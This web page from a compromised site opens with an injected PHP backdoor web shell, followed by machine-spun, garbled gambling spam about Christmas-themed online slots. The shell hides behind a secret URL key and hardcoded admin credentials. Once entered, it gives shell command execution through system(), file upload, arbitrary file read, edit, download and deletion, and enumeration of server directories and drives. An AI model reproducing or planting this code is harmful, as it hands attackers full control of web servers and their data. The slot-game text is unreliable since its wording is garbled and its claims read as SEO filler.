if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[πŸ“‚ Home] '; echo '[πŸ–₯️ Terminal] '; echo '[πŸ’Ύ Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[πŸšͺ Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

βœ… Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

πŸ“‹ Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo 'πŸ“ '.$item."/\n";
                    else echo 'πŸ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'πŸ“ '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'πŸ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

πŸ’Ύ Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." βœ“\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." βœ“\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

πŸ“ Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo 'βœ… Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

πŸ–₯️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo 'βœ… Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo 'βœ… Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo 'βœ… Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo 'βœ… Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

πŸ“‚ '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
πŸ“ '.$item.'πŸ“„ '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Getaway Layouts οΏ½ Predict smiling graphics which have Santa claus, snowmen, reindeer, and you may provide boxes – collectives.berlin

Your digital paradise.

Getaway Layouts οΏ½ Predict smiling graphics which have Santa claus, snowmen, reindeer, and you may provide boxes

Santa’s Sack deals reels getting intense adrenaline, providing a leading-limits Freeze Games feel

One of the most played titles are Santa’s Stack because of the Calm down Gaming, as a result of their higher volatility and you will 20,000x max victory possible. Seasonal Incentives οΏ½ Free spins, multipliers, and expanding wilds tend to need center stage.Feel-A Gameplay οΏ½ This type of harbors run enjoyable and joyful vibes, causing them to best for informal members and you can getaway entertainment.Huge Gains that have Cheer οΏ½ Regardless of the lighthearted theme, of many Xmas ports function solid RTP and you may maximum victory potential. Observing that we features almost 900 Xmas demo ports altogether into the our very own website, this means one nearly 20% of the many Xmas slots was basically put-out this year (!). All the latest releases regarding Xmas slots 2025 are current inside real-go out, and you can and see up coming releases here. ItοΏ½s specifically glamorous getting people whom take pleasure in function-rich game play, piled icons, as well as the extra excitement off modern jackpots.

Information regarding Athena 1000 Xmas try a high-bet Spread out Will pay identity built on flowing tumbles, vibrant grid extension, and you can powerful multipliers as much as x1,000. Pragmatic Play provides a professional regular upgrade by providing their profitable “1000” engine a cold Mount Olympus makeover.

Out of classic escape-themed slots to modern Megaways headings, this type of games bring something for each and every style of user. If you are looking to own seasonal harbors such Halloween night or must talk about the brand new joyful attraction out of Christmas time and the spell out of Wonders Ports, look the loyal slots collection. Enjoy totally free Christmas time slots immediately no down load expected, mention the Slots City pΕ™ihlΓ‘Ε‘enΓ­ do kasina newest and you will antique titles, and get a knowledgeable Christmas inspired harbors prior to trying real-money versions. Take pleasure in several Christmas time slots on the internet, offering festive templates, extra rounds, and you can regular perks. See best titles, compare features, and commence spinning instantly with totally free or genuine-currency available options so you can All of us people. The newest festive cheer has its novel appeal you to definitely entices bettors and keeps them engaged.

Pragmatic Play’s Xmas profile showcases its independence due to headings such Nice Bonanza Xmas and you will Large Bass Christmas time Bash. It advancement program produces installing adventure because people check out the multiplier develop such as an appearing thermometer, without top limit to help you deter proceeded enjoy. These features will tend to be unique enthusiast icons such as Santa’s sleigh you to definitely accumulates all the visible viewpoints, or multiplier presents that increase the full winnings.

It will not end up being cartoonish, plus the bonus produces match the fresh new theme also, so it’s good see while a timeless Xmas harbors admirer. Temple away from Video game was an online site offering 100 % free gambling games, like slots, roulette, otherwise blackjack, which is often played enjoyment for the demonstration mode versus using any money. All the fourth collected wild retriggers the bonus, incorporating 10 a lot more spins and you will improving the multiplier put on obtained opinions, around all in all, x10. While in the free revolves, collecting fish symbols that have connected currency opinions and you may landing Santa wild symbols are main to this. You can expect familiar provides including cascading reels, 100 % free revolves, and the key auto technician away from gathering fish symbols to help you cause more revolves and multiplier grows. Forehead regarding Games has a variety of totally free online casino games which have a xmas motif on how to gamble year-round, of Christmas time ports to festive roulette.

Practical Play reigns over which have multiple Christmas time releases in addition to adaptations of the very winning companies

Best titles try developed by leading team such as Pragmatic Play, NetEnt, Play’n Wade, and you may Microgaming, typically providing RTP cost ranging from 95% and you can 97%. You should buy the benefit by buying, as stated, or even in plain old ways, by the striking scatters While doing so, Santa tend to at random slip across the screen and you will honor the main benefit. You can buy the bonus by buying, as previously mentioned, or even in common way, by the hitting scatters Simultaneously,… Is always to half dozen or higher Unbelievable Symbols smack the grid, the incredible Link element are brought about. Whenever all of the presents globally is produced, in which perform some light-bearded people and his awesome reindeer rest? Where you can find the newest juiciest group of fruits icons, so it colourful launch includes an optimum multiplier from four,500x and RTP out of 97.2%.

Definitely get the presents just before Xmas; it can be done right now having SlotsUp with just an excellent couple clicks. Respinix was a separate platform offering individuals use of free demo brands regarding online slots games. An extensive type of Christmas demo harbors from individuals company try accessible to play for 100 % free into the Respinix.

Soak oneself within this antique videogame styled position because you twist to own team will pay while you are seeing a classic sound recording. Favor their little princess and get rid of additional scatters to possess an opportunity to earn around 150 a lot more video game. For individuals who clear the fresh new grid inside the Trinity ability, you’ll be given a choice of three 100 % free spins round.